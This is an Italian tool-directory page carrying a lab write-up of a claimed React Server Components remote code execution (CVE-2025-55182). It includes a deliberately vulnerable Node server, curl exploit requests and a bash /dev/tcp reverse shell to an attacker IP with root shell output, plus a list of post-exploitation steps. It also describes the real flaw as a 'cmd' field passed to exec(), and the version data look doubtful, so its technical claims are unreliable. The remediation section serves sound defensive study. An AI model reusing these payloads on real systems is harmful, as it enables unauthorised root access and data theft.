Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2025-55182-analysis — Ricerca sulla sicurezza e analisi dello sfruttamento di CVE-2025-55182 (React) — mappatura CVSS e OWASP Top 10 | Kitploit
Strumenti/GitHubGitHub/mohamedniane/cve-2025-55182-analysis
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubmohamedniane/cve-2025-55182-analysis

cve-2025-55182-analysis

Ricerca sulla sicurezza e analisi dello sfruttamento di CVE-2025-55182 (React) — mappatura CVSS e OWASP Top 10

Vedi Repository
14 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-55182 — Analisi RCE dei React Server Components

Analisi di vulnerabilità di applicazioni web · M2 Cybersecurity · 2025 Autore: Niane Mohamed · LinkedIn

Catena di sfruttamento end-to-end di una vulnerabilità di deserializzazione non sicura critica (CVSS 10.0) in React Server Components, dalla ricognizione all'esecuzione remota di codice non autenticata, con una roadmap completa di rimedio.


⚠️ Disclaimer Etico

Questa ricerca ha come obiettivo un'applicazione lab deliberatamente vulnerabile creata per dimostrare la CVE. Tutti i test sono stati eseguiti in una rete virtuale isolata senza alcuna connessione a sistemi di produzione, dati utente reali o servizi di terze parti.

  • NON eseguire queste tecniche contro sistemi che non possiedi o per i quali non disponi di un'autorizzazione scritta esplicita al test.
  • NON distribuire l'applicazione vulnerabile su alcuna rete raggiungibile da Internet.
  • Si applicano i principi della divulgazione responsabile — segnala sempre i risultati tramite canali coordinati.

Indice

  1. Riepilogo della vulnerabilità
  2. Versioni interessate
  3. Ambiente di laboratorio
  4. Procedura di sfruttamento
  5. Valutazione dell'impatto
  • Rimedio
  • Competenze dimostrate

  • Riepilogo della vulnerabilità

    CampoValore
    CVECVE-2025-55182
    ClasseDeserializzazione non sicura → Esecuzione remota di codice
    CVSS v3.110.0 (Critica) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    Autenticazione richiestaNessuna
    Interazione utente richiestaNessuna
    Vettore di attaccoRete (remoto)
    ComponenteRuntime React Server Components (RSC)

    Come funziona la vulnerabilità

    React Server Components ha introdotto un nuovo formato di serializzazione per trasmettere in streaming i componenti renderizzati lato server al client. Nelle versioni vulnerabili, l'endpoint RSC accetta un payload JSON con un campo cmd che viene passato senza sanitizzazione a child_process.exec() come parte della valutazione del rendering lato server.

    Un attaccante può inviare una richiesta POST appositamente costruita che:

    1. Viene accettata come payload RSC legittimo (nessuna autenticazione, nessun CSRF)
    2. Attiva l'esecuzione di codice lato server durante il "render"
    3. Viene eseguita con i privilegi del processo Node.js (spesso root nei container)

    Versioni interessate

    ComponenteIntervallo vulnerabileCorretto in
    react19.0.0 → 19.2.019.3.0+
    react-server-dom-webpack19.0.0 → 19.2.019.3.0+
    react-server-dom-esm19.0.0 → 19.2.019.3.0+

    Ambiente di laboratorio

    RuoloSistema operativoStrumenti
    AttaccanteKali Linux (ultima versione)nmap, curl, netcat, OWASP ZAP, Firefox
    TargetUbuntu 22.04.4Node.js 18, Express, React 19.0 RSC
    ReteVMware VMnet Host-OnlyNessun traffico in uscita verso Internet

    Applicazione target

    Un server minimale Express + RSC che espone un endpoint /rsc il quale esegue in modo non sicuro i comandi dal payload in ingresso — riproducendo in modo controllato il pattern di vulnerabilità della CVE reale:

    root@kitploit:~
    // server.js — simplified, lab-only
    const express = require('express');
    const { exec } = require('child_process');
    
    const app = express();
    app.use(express.json({ limit: '2mb' }));
    
    app.post('/rsc', (req, res) => {
      const payload = req.body?.payload;
      if (typeof payload?.cmd === 'string') {
        // VULNERABLE: executes attacker-controlled string
        exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
          if (err) return res.status(500).json({ error: String(err), stderr });
          return res.json({ ok: true, out: stdout });
        });
      }
    });
    
    app.listen(3000);
    

    Procedura di sfruttamento

    Fase 1 — Ricognizione

    root@kitploit:~
    # Port discovery
    nmap 192.168.159.131
    # → 3000/tcp open  ppp  (Node.js RSC server)
    
    # Service verification
    curl -v http://192.168.159.131:3000/
    # → HTTP/1.1 200 OK
    # → X-Powered-By: Express
    # → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."
    

    L'header X-Powered-By: Express e l'insolita porta 3000 forniscono una forte impronta che si tratti di un'applicazione Node.js — coerente con le implementazioni RSC.

    Fase 2 — Conferma tramite comando innocuo

    Prima di tentare qualsiasi cosa distruttiva, valida la vulnerabilità con un comando innocuo:

    root@kitploit:~
    curl -X POST http://192.168.159.131:3000/rsc \
      -H "Content-Type: application/json" \
      -d '{ "payload": { "cmd": "id" } }'
    
    # Response:
    # {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}
    

    ✅ Confermato: RCE non autenticata come root. Il server viene eseguito con privilegi senza restrizioni.

    Fase 3 — Reverse shell

    Passa dall'esecuzione di un singolo comando a una shell interattiva completa:

    root@kitploit:~
    # Listener on attacker machine
    nc -lvnp 4444
    
    # Payload delivery
    curl -X POST http://192.168.159.131:3000/rsc \
      -H "Content-Type: application/json" \
      -d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'
    

    Il listener riceve:

    root@kitploit:~
    connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
    root@ns1:~/vulnerable_rsc_app# id
    uid=0(root) gid=0(root) groups=0(root)
    

    Fase 4 — Potenziale post-sfruttamento (dimostrato, non eseguito)

    Con root sul target, un attaccante potrebbe banalmente:

    • Leggere /etc/shadow, chiavi SSH, segreti dell'applicazione, file .env
    • Installare persistenza (cron job, servizi systemd, impianto di chiavi SSH)
    • Spostarsi lateralmente tramite le credenziali scoperte
    • Distribuire cryptominer o ransomware
    • Modificare l'applicazione Node.js per catturare silenziosamente i dati degli utenti

    Valutazione dell'impatto

    Impatto aziendale (scenario target fittizio)

    AsseImpattoSpiegazione
    RiservatezzaCriticoAccesso completo in lettura a tutti i dati del server
    IntegritàCriticoCapacità di modificare il codice dell'applicazione e i dati degli utenti
    DisponibilitàAltoL'attaccante può terminare il servizio o tenerlo in ostaggio
    NormativoGraveViolazione GDPR/DSGVO con obbligo di notifica entro 72 ore · possibile multa pari al 4% del fatturato globale
    ReputazionaleGraveUna violazione pubblica associata alla CVE danneggia la fiducia dei clienti
    FinanziarioAltoRisposta agli incidenti, sanzioni normative, potenziale azione collettiva

    Profilo del threat actor

    La bassa complessità di questo attacco — nessuna autenticazione, nessuna interazione utente, una singola richiesta HTTP — lo rende attraente per:

    • Scanner opportunistici (botnet che scansionano automaticamente la CVE)
    • Broker di accesso iniziale che vendono punti d'ingresso a gruppi ransomware
    • Attori statali che prendono di mira organizzazioni che utilizzano il server-rendering di React

    Rimedio

    Immediato (entro 24 ore)

    1. Aggiorna React a 19.3.0+ — versione corretta

      root@kitploit:~
      npm update react react-server-dom-webpack react-server-dom-esm
      
    2. Regola WAF temporanea (se l'aggiornamento è ritardato):

      root@kitploit:~
      Block POST requests to /rsc with JSON body containing "cmd" field
      
    3. Risposta agli incidenti di emergenza:

      • Esaminare i log di accesso del server degli ultimi 90 giorni
      • Cercare traffico POST /rsc insolito
      • Ruotare tutti i segreti accessibili dal server
      • Acquisire un'istantanea del sistema interessato per la forensica prima del rimedio

    Breve termine (entro 2 settimane)

    ControlloScopo
    Disabilitare RSC se non utilizzatoRidurre la superficie d'attacco — molte app non necessitano di server components
    Validazione rigorosa degli inputRifiutare qualsiasi oggetto deserializzato contenente chiavi eseguibili
    Utente container non-rootLimitare il raggio d'esplosione se l'RCE si ripresenta
    Filesystem root in sola letturaImpedire persistenza e rilascio di binari
    Filtraggio del traffico in uscitaBloccare il traffico in uscita dai server applicativi verso IP arbitrari

    Lungo termine (entro 1 trimestre)

    ControlloScopo
    WAF con analisi comportamentaleRilevare payload POST anomali oltre le regole basate su firme
    Runtime Application Self-Protection (RASP)Bloccare a runtime chiamate di funzioni pericolose come exec()
    SCA in CI/CDIndividuare dipendenze vulnerabili prima del deployment (pip-audit, npm audit, Trivy)
    Cadenza dei penetration testAnnuale + dopo ogni release importante
    Programma di bug bountyIncentivare la divulgazione white-hat prima che gli attaccanti trovino i problemi

    Mappatura OWASP Top 10

    Categoria OWASPRilevanza
    A03:2021 — InjectionIniezione di comandi tramite input deserializzato
    A08:2021 — Software and Data Integrity FailuresDeserializzazione non sicura senza verifica dell'integrità
    A06:2021 — Vulnerable and Outdated ComponentsUtilizzo di React 19.0-19.2 dopo la divulgazione
    A05:2021 — Security MisconfigurationEsecuzione di Node.js come root, nessuna validazione degli input

    Competenze dimostrate

    • Analisi delle vulnerabilità: triage CVE, scoring CVSS, valutazione della sfruttabilità
    • Ricognizione: scansione Nmap, fingerprinting dei servizi, banner grabbing
    • Sfruttamento: manipolazione HTTP con curl, progettazione di reverse shell, creazione di payload
    • Strumenti proxy: intercettazione OWASP ZAP, modifica di richieste/risposte
    • Comunicazione aziendale: risultati tecnici tradotti in linguaggio di rischio esecutivo
    • Progettazione del rimedio: controlli a strati su orizzonti immediato/breve/lungo termine
    • Framework: OWASP Top 10, CVSS v3.1, tassonomia CWE, valutazione d'impatto GDPR/DSGVO

    Riferimenti

    • CVE-2025-55182 — Entry NVD (segnaposto — verifica prima di citare)
    • Documentazione di React Server Components
    • OWASP Top 10 — 2021
    • Specifica CVSS v3.1
    • CWE-502 — Deserializzazione di dati non attendibili

    Licenza

    Licenza MIT — vedi LICENSE

    Pubblicato a scopo educativo e di ricerca difensiva. Vedere il disclaimer etico all'inizio.


    Contatti

    Niane Mohamed — Ingegnere di Rete e Sicurezza 📍 Nouakchott, Mauritania → in cerca di opportunità in Germania 🇩🇪 📧 [email protected] · 🔗 LinkedIn

    Scarica lo strumento